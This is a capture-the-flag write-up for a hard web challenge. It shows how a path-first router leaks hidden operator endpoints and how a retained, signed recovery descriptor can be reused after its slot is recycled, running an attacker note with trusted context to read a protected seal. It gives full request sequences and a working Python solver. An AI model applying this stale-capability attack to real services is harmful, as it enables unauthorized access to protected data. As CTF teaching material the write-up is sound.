WebHidden Investigations CTF 2026
Orphaned Context
Exploit a stale recovery descriptor in a PHP relay's operator API — interrupt a capture, recycle its slot with an attacker-controlled maintenance note, then preview under the orphaned custody context to read the evidence seal.
What this one teaches
- A path-first router is a reliable discovery oracle: 405 means the path exists (wrong method), 404 means it doesn't.
- When a capability token references a slot by (slot, epoch) but the server only checks the signature and not whether the slot still holds the original content, the token becomes a confused deputy.
- Stale-token/stale-context bugs are a class of their own — look for any place a signed handle outlives the state it was bound to.
Task description
A Continuity Relay used by an incident-response team captured evidence during an active incident, then suffered an interrupted operation and left inconsistent audit information. You are an authorized investigator: determine whether a protected evidence seal was improperly exposed, and recover it as proof.
The relay exposes a small JSON operator API and a read-only console. Everything you need is reachable through ordinary use of that interface together with the relay’s audit trail — no brute forcing, no guessing hidden names, no races.
The investigator handout (operator API reference, maintenance-note format, and reference transcripts) is attached. No source code is provided. Start an instance to get your own relay; each team gets its own copy and its own flag.
- Category: web (hard)
Reconnaissance
app.js/index.html/style.cssare byte-identical to a previous capture of the instance and contain no write routes. The client is explicitly read-only./api/healthanswers any method; everything else under/apiis method-checked.- The router is path-first, which gives a reliable discovery oracle:
- known path + wrong method ->
405 {"error":"method_not_allowed"} - unknown path (any method) ->
404 {"error":"not_found","path":...}
- known path + wrong method ->
GET /api/relay/events(the audit trail) is the only truth source:cap-0001 open/commit,cap-0002 open/interrupt(“recovery descriptor retained”), thennote-0003in the same slot at epoch 3.GET /api/incidentssays IR-7731 is active/sealed withartifact: seal.
Endpoint discovery
A POST scan of /api/<noun>/<action> candidates derived from the console/audit vocabulary
(capture, note, recover, preview, descriptor, seal, …) surfaced the operator API. Only these paths exist:
| Method | Path | Body fields |
|---|---|---|
| POST | /api/capture/open |
{} |
| POST | /api/capture/commit |
request_id |
| POST | /api/capture/interrupt |
request_id |
| POST | /api/note/store |
text |
| POST | /api/note/discard |
note_id, epoch |
| POST | /api/recover/preview |
recovery_descriptor |
| GET | /api/relay/status, /api/relay/events, /api/incidents, /api/health |
- |
Error messages gave the required field names (missing_request_id, missing_text,
missing_recovery_descriptor, …). POST /api/recover/preview with a junk descriptor
returns invalid_descriptor (“descriptors are instance-bound”), i.e. the token is an
HMAC-signed, instance-specific handle — it cannot be forged, but it can be minted by
opening a capture.
Exploit
The seeded history is flavor; the same orphaned state can be produced through ordinary operator actions:
POST /api/capture/open {}— allocates the lowest free slot and returns a signedrecovery_descriptorbound to(rid, slot, epoch):{"request_id":"cap-0018","slot":1,"epoch":9, "recovery_descriptor":"eyJyaWQiOiJjYXAtMDAxOCIsInNsb3QiOjEsImVwb2NoIjo5LCJraW5kIjoicmVjb3ZlcnkifQ...."}POST /api/capture/interrupt {"request_id":"cap-0018"}—"descriptor":"retained". The descriptor stays valid; the slot is freed.POST /api/note/store {"text":"#!relay-maint/1\ncat /incidents/IR-7731/manifest\ncat /incidents/IR-7731/seal\n"}— the note is placed back into the freed slot at the next epoch (note-0019 slot 1 epoch 10,trust: untrusted).POST /api/recover/preview {"recovery_descriptor":"<the cap-0018 token>"}— the verifier accepts a descriptor that is older than the slot occupant. Becausedescriptor.epoch (9) != occupant.epoch (10), the preview is classified as an orphaned recovery and runs with the interrupted capture’s custody authority:
{"request_id":"cap-0018","slot":1,"trusted":true,"format":"relay-maint/1",
"diagnostics":[
{"cmd":"cat /incidents/IR-7731/manifest","ok":true,
"output":"incident : IR-7731\nstatus : SEALED\ncustody : evidence seal retained under this record\nartifact : seal\n"},
{"cmd":"cat /incidents/IR-7731/seal","ok":true,
"output":"hiCTF{local_dev_fixture_not_a_real_flag_f460710399}"}]}
The end-to-end solver:
#!/usr/bin/env python3
"""Open capture -> interrupt -> store maintenance note in recycled slot -> preview
with the retained descriptor. The epoch mismatch runs the preview under orphaned
privileged context (trusted: true) and `cat` reads the evidence seal."""
import json, subprocess, sys
BASE = sys.argv[1] # e.g. https://orphaned-context-5ef738bc7e4e.chall.hiddeninvestigations.net
def api(path, body=None, method=None):
cmd = ["curl", "-s", "-X", method or ("POST" if body is not None else "GET"),
"-H", "Content-Type: application/json"]
if body is not None:
cmd += ["--data-binary", json.dumps(body)]
cmd.append(BASE + path)
out = subprocess.run(cmd, capture_output=True, timeout=60).stdout.decode()
try:
return json.loads(out)
except Exception:
return {"_raw": out}
cap = api("/api/capture/open", {})
rid, slot, epoch = cap["request_id"], cap["slot"], cap["epoch"]
descriptor = cap["recovery_descriptor"]
api("/api/capture/interrupt", {"request_id": rid})
text = ("#!relay-maint/1\n"
"cat /incidents/IR-7731/manifest\n"
"cat /incidents/IR-7731/seal\n")
api("/api/note/store", {"text": text})
prev = api("/api/recover/preview", {"recovery_descriptor": descriptor})
for d in prev.get("diagnostics", []):
out = d.get("output", "")
if "hiCTF{" in out:
print("FLAG:", out.strip())
Why the orphaned epoch exposes the seal
The descriptor is a capability over (slot, epoch) issued to an interrupted capture that
belongs to the active incident’s custody. On preview the relay never re-checks that the
slot still holds the capture that the descriptor was issued for — it only checks the
signature. A recycled slot (note at a higher epoch) is exactly the “operational
inconsistency” the audit trail advertises. The stale handle therefore acts as a confused
deputy: attacker-influenced #!relay-maint/1 material stored as an untrusted note is
interpreted while the preview still carries the interrupted capture’s trusted custody
context, and cat reaches /incidents/IR-7731/seal.
The interpreter is otherwise harmless (no OS/fs/network; verbs help, whoami, pwd,
ls, cat over an in-memory map of /incidents/<id>/{manifest,seal,notes} and
/relay/{README,identity}). The bug is purely the stale-context check.
Lessons
- A path-first router is a discovery oracle: scan
POST /api/<noun>/<action>to find hidden operator endpoints. - Stale-capability bugs arise whenever a signed handle outlives the state it was bound to. Look for “retained descriptor” or “token still valid” after the underlying resource has been freed and recycled.
- The interpreter sandbox was fine; the vulnerability was that attacker material was executed under the wrong trust context.
The flagReveal
hiCTF{local_dev_fixture_not_a_real_flag_f460710399}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.